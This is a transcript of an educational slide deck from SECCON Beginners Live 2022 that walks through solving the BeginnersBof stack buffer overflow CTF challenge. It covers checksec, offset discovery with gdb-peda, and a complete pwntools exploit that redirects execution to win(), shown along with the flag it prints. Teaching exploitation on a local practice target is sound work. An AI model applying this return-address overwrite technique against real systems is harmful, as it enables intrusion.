Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Beginners Beginners Bof / SECCON Beginners Live 2022

n01e0
September 11, 2022

Beginners Beginners Bof / SECCON Beginners Live 2022

n01e0

September 11, 2022
Tweet

Other Decks in Technology

Transcript

  1. Beginners Beginners Bof SECCON Beginners Live 2022 Reo Shiseki

  2. 自己紹介 • 紫関 麗王(Shiseki Reo) • ID: n01e0 • 情報科学専門学校

    4年 IPFactory • ctf4b 2022での作問 ◦ BeginnersBof 155 Solves ◦ raindrop 53 Solves ◦ snowdrop 44 Solves ◦ simplelist 32 Solves ◦ please_not_debug_me 48 Solves ◦ ultra_super_miracle_validator 40 Solves
  3. 想定読者 • Pwnableの勉強を始めたが,本番で問題が解け ない • 主な担当はReversingだが,チームにPwnable担 当がいないので解かざるを得ない

  4. Pwnable問題の典型的なパターンと解 法を学び テンプレとして覚えてほしい

  5. 題材 SECCON Beginners CTF 2022 BeginnersBof

  6. 問題のセットアップ $ git clone https://github.com/SECCON/Beginners_CTF_2022 $ cd Beginners_CTF_2022/pwnable/BeginnersBof $ docker-compose

    up -d $ nc localhost 9000 How long your name?
  7. Pwnable攻略の思考フロー 1. ソースコードを読み,(配布されている場合) 攻撃に転用できそうな脆弱性を探す 2. 具体的な攻撃方法を考える 3. ペイロードの組み立て 4. Flagを取得する

  8. 脆弱性を探す

  9. ソースコード(抜粋&コメント追加) #define BUFSIZE 0x10 void win() { // この関数を呼び出せばFlagが取得できる char

    buf[0x100]; int fd = open("flag.txt", O_RDONLY); if (fd == -1) err(1, "Flag file not found...\n"); write(1, buf, read(fd, buf, sizeof(buf))); close(fd); } int main() { int len = 0; char buf[BUFSIZE] = {0}; // BUFSIZEは0x10 puts("How long is your name?"); scanf("%d", &len); // バッファに読み込むデータの長さを入力 char c = getc(stdin); // 入力末尾の改行 if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); // 指定された長さ分バッファに読み込む printf("Hello %s", buf); }
  10. Pwnableで使用される代表的な脆弱性 • Stack Buffer Overflow • Heap Overflow • Format

    String Attack • Use After Free • etc…
  11. Pwnableで使用される代表的な脆弱性 • Stack Buffer Overflow ←今回はこれがある • Heap Overflow •

    Format String Attack • Use After Free • etc…
  12. Stack Buffer Overflow(CWE-121) スタック上に確保された領域に サイズよりも大きなデータを読み込む

  13. Stack Buffer Overflowが発生する状況 スタック上に確保したバッファに データを書き込む時

  14. gets gets関数は読み込むサイズの指定ができないので,基 本的にStack Buffer Overflowが発生します. その為,getsを使用していた場合はコンパイラの警告が 発生する程です. CTFの作問以外では使わないでください. これがあったら基本的にBuffer Overflowで攻撃!

  15. scanf scanf関数でもStack Buffer Overflowは 発生する可能性があります. 例えば,char s[10]のように確保した領域に対して ,scanf(“%s”, s)のような呼び出しをした場合,scanfは改 行までのデータをsに書き込んでしまいます.

  16. fgets getsとは異なり,読み込むサイズを指定できます. しかし,そのサイズを任意の値にできるような状況では Stack Buffer Overflowが発生してしまいます. →今回はそのパターン

  17. ソースコード(重要な部分だけ抜粋) #define BUFSIZE 0x10 int main() { int len =

    0; char buf[BUFSIZE] = {0}; // BUFSIZEは0x10 puts("How long is your name?"); scanf("%d", &len); // 0x10より大きなサイズを入力 char c = getc(stdin); if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); // 確保されたサイズより大きなデータを読み込む🔥 printf("Hello %s", buf); }
  18. セキュリティ機構の確認 バイナリには脆弱性の悪用を防ぐための セキュリティ機構が備わっている

  19. バイナリのセキュリティ機構 • RELRO • Stack Canary • NX • PIE

  20. RELRO RELocation Read Only メモリ上のデータに対して Read Only(書き込み不可)の属性を 付与するかどうか

  21. RELROが有効だと? GOT Overwriteができない

  22. GOT Overwriteとは? RELROが無効,もしくはPartialで, 任意のアドレスに任意の値が書き込める 場合によく使われる攻撃手法

  23. GOT Overwrite 本題から逸れる為,詳しい説明はしません GOT(Global Offset Table)とは,libcなどのリンクされたバイナリにある 関数のアドレス用のキャッシュのような領域で,基本的にprintf等 の呼び出しはGOTのアドレスに遷移しています. この特性を利用し,GOTにあるアドレスを,本来のlibcのアドレスか ら遷移させたいアドレスに変更することで,次回の呼び出し時,任

    意のアドレスへ遷移します.
  24. Stack Canary(Stack Smashing Protection) Stack Overflowに対するセキュリティ機構 関数が呼ばれた際, スタック上にカナリア(canary)と呼ばれる値を置き,関数 から戻る直前に,その値が書き換わっていないかを確認 する事で,Stack

    Overflowを検知する
  25. Stack Canary(Stack Smashing Protection)が有効だと? Stack Buffer Overflowによる リターンアドレスの書き換えが できない(やりづらい)

  26. Stack Canary(Stack Smashing Protection)が有効だと Canaryはリターンアドレスよりも手前にあるため,愚直に リターンアドレスを書き換えようとすると 破壊されてしまう. ほかの脆弱性を使ってCanaryをリークできれば, 復元しながらリターンアドレスだけを書き換える事もでき る.

  27. NX(No Execute bit) NX(No eXecute)はメモリ上の データ領域に置かれた値を実行できなくする為の フラグ

  28. NXが有効だと? スタック等にシェルコードを書き込み, 遷移させるような攻撃ができなくなる

  29. PIE(Position Independent Executable) PIE(Position Independent Executable) バイナリ中のアドレス参照を すべて相対アドレスで行うフラグ

  30. PIEが有効だと? バイナリ中のシンボルのアドレスと, 実際に実行されているアドレスが異なる為,ベー スとなるアドレスをリークしてから でないとシンボルの位置を特定できない.

  31. セキュリティ機構の確認 checksecというプログラムを使う https://github.com/slimm609/checksec.sh

  32. checksecによるセキュリティ機構の確認 $ checksec –file=chall –output=json | jq { "file": {

    "relro": "no", "canary": "no", "nx": "yes", "pie": "no", "rpath": "no", "runpath": "no", "symbols": "yes", "fortify_source": "no", "fortified": "0", "fortify-able": "3" } }
  33. 脆弱性とセキュリティ機構の確認 • Stack Buffer Overflowがある • RELROが無効 • Canaryが無効 •

    PIEが無効
  34. 脆弱性とセキュリティ機構の確認 • Stack Buffer Overflowがある • RELROが無効 • Canaryが無効 •

    PIEが無効 • NXが無効
  35. これらの条件から何ができるか スタック上にある リターンアドレスの書き換え

  36. 何ができるか スタック上にある リターンアドレスの書き換え → win関数を呼び出してFlagを取得できる

  37. 具体的な攻撃方法を考える

  38. Stack Buffer Overflowの攻撃への転用 今回はリターンアドレスを上書きして win関数を呼び出したい

  39. リターンアドレスの上書き リターンアドレスはどこにある?

  40. リターンアドレスへのオフセットを知る いくつかの方法がある • ツールによるdisassemble結果を見る • デバッガで探る

  41. リターンアドレスへのオフセットを知る いくつかの方法がある • ツールによるdisassemble結果を見る • デバッガで探る

  42. gdb-peda gdb(デバッガ)の拡張 https://github.com/longld/peda デバッグ/Pwnに便利な機能が追加されている • わかりやすいレジスタ/コード/スタックの表示 • etc…

  43. インストール $ git clone https://github.com/longld/peda.git ~/peda $ echo “source ~/peda/peda.py

    >> ~/.gdbinit
  44. pedaによる解析(メイン画面) main関数にbreakpointを設置 実行した結果 gdb-peda$ b *main gdb-peda$ run

  45. pedaによる解析(disassemble) main関数のdisassemble結果 BOFが発生するのは 0x00000000004012f2の call 0x401090 <fgets@plt> gdb-peda$ disas main

  46. pedaによる解析(BOFの確認) 1. sizeは適当に51で指定 2. ‘a’を50個+改行 入力した結果 gdb-peda$ c Continuing. How

    long is your name? 51 What's your name? aaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaa
  47. pedaによる解析(BOFの確認) SIGSEGVによる停止

  48. pedaによる解析(リターンアドレスの確認) mainが呼び出された時の stack topがリターンアドレス 0x7fffffffce98 --> 0x7ffff7d8fd90

  49. pedaによる解析(リターンアドレスの確認) SEGVが発生した時点では? “aaaaaaaa”に書き換わっている リターンアドレスまでの オフセットは?

  50. pedaによる解析(オフセットの特定) pattern_createコマンド オフセットの特定に便利 指定した長さの 文字列を作り出してくれる gdb-peda$ pattern_create 50

  51. pedaによる解析(オフセットの特定) pattoコマンドで オフセットを確認できる RSPの”AA0AAFAAbA” へのオフセットは40bytes gdb-peda$ r gdb-peda$ c Continuing.

    How long is your name? 51 What's your name? AAA%AAsAABAA$AAnAACAA-AA(A ADAA;AA)AAEAAaAA0AAFAAbA gdb-peda$ patto AA0AAFAAbA AA0AAFAAbA found at offset: 40
  52. 具体的な攻撃方法

  53. 攻撃方法 リターンアドレスは入力の先頭から 40bytes先にある ↓ 40bytesのデータ+遷移させたいアドレス を入力すれば良い

  54. Exploitの組み立て

  55. Exploitの組み立て 脆弱な部分はわかった リターンアドレスまでのオフセットもわかった 具体的な攻撃方法もわかった あとはやるだけ → 退屈なことはPythonにやらせる

  56. pwntools

  57. pwntools exploitの作成に便利なPythonのライブラリ (https://github.com/Gallopsled/pwntools) • リモートで動いているプログラムへの接続 • バイナリの解析 • etc… 非常に多機能(使い切れないくらい)

    参考: https://qiita.com/8ayac/items/12a3523394080e56ad5a
  58. install $ python3 -m pip install -upgrade pwntools

  59. 今回使う機能 • バイナリの解析 • リモートへの接続 • データのpack • データの入出力

  60. バイナリの解析 ELFを解析してくれる関数 バイナリ中の関数のアドレス等が 取得できるようになる context.binaryに対象のバイナリを 指定する事で,今後のpack等を いい感じにしてくれる from pwn import

    * e = ELF("./chall") context.binary = "./chall"
  61. データのpack 実際に送信するpayloadを作成する 40bytesの適当なデータと 遷移させたいwin関数のアドレス e.sym[]で解析したバイナリの シンボルを取得し pack()でいい感じにバイト列にする from pwn import

    * e = ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"])
  62. リモートへの接続 pwnの問題はリモートで動いている プログラムに接続する事がほとんど remoteで接続先を指定する事で, 全部いい感じにしてくれる 戻り値は今後の入出力に使用する from pwn import *

    e = ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"]) io = remote("localhost", 9000)
  63. データの入出力 sendlineafterは 第1引数に指定したバイト列を受け取った後 第2引数のバイト列を改行と共に 送信するメソッド 今回はpayloadの長さを文字列にした後, バイト列に変換して送信する from pwn import

    * e = ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"]) io = remote("localhost", 9000) io.sendlineafter( b"How long is your name?", str(len(payload)).encode() )
  64. flagの取得 改行はいらないのでsendafterで 送信後はflagが出力されるはずなので いい感じに受け取ってprintする from pwn import * e =

    ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"]) io = remote("localhost", 9000) io.sendlineafter(b"How long is your name?", str(len(payload)).encode()) io.sendafter( b"What's your name?", payload ) io.recvuntil(b"ctf4b{") print( "ctf4b{" + io.readline().decode(), end='' )
  65. Exploit! $ ls chall exploit.py $ python3 ./exploit.py [*] '/home/lilium/src/github.com/SECCON/Beginners_CTF_2022/pwnable/BeginnersBof/exploit/chall'

    Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to localhost on port 9000: Done ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!} [*] Closed connection to localhost port 9000
  66. 以上! ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

  67. 問題の停止 $ docker-compose down

  68. 確認 ➔ 脆弱性の調査 ➔ Stack Buffer Overflowがあり,canaryが無効 ➔ リターンアドレスへのオフセットを調査 ➔

    padding+遷移させたいアドレスを送信 ➔ Flag Get?